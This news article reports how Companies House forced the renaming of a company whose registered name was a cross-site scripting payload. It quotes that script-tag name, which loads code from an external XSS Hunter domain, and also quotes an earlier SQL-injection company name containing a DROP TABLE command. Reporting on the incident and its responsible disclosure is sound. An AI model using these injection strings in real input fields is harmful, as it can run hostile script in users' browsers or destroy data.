Companies House has forced a company to change its name after it belatedly realised it could pose a security risk.
The company now legally known as “THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD” was set up by a British software engineer, who says he did it purely because he thought it would be “a fun playful name” for his consulting business.
He now says he didn’t realise that Companies House was actually vulnerable to the extremely simple technique he used, known as “cross-site scripting”, which allows an attacker to run code from one website on another.
The original name of the company was ““><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD”. By beginning the name with a quotation mark and chevron, any site which failed to properly handle the HTML code would have mistakenly thought the company name was blank, and then loaded and executed a script from the site XSS Hunter, which helps developers find cross-site scripting errors.
That script would have simply put up a harmless alert – but it serves as proof that a malicious attacker could instead have used the same weakness as a gateway to more damaging ends.
Similar names have been registered in the past, such as “; DROP TABLE “COMPANIES”;-- LTD”, a wry attempt to carry out an attack known as SQL injection, inspired by a famous XKCD webcomic, but this was the first such name to have prompted a response. Companies House has retroactively removed the original name from its data feeds, and all documentation referring to its original moniker now reads simply “Company name available on request”.
The director of the company, who asked not to be named, told the Guardian: “Government Digital Service - GDS - have a good reputation for security, and other companies with similarly playful names have been registered in the past, so I thought there probably wouldn’t be a problem.
“When I discovered there were some minor problems, I contacted Companies House and the National Cyber Security Centre immediately, and didn’t disclose the issue to anyone else.”
He did not realise it would be an issue, he said, because characters including > and “ are explicitly allowed as company names, which suggested that the agency had put security measures in place to prevent such attacks.
A Companies House spokesperson said: “A company was registered using characters that could have presented a security risk to a small number of our customers, if published on unprotected external websites. We have taken immediate steps to mitigate this risk and have put measures in place to prevent a similar occurrence. We are confident that Companies House services remain secure.”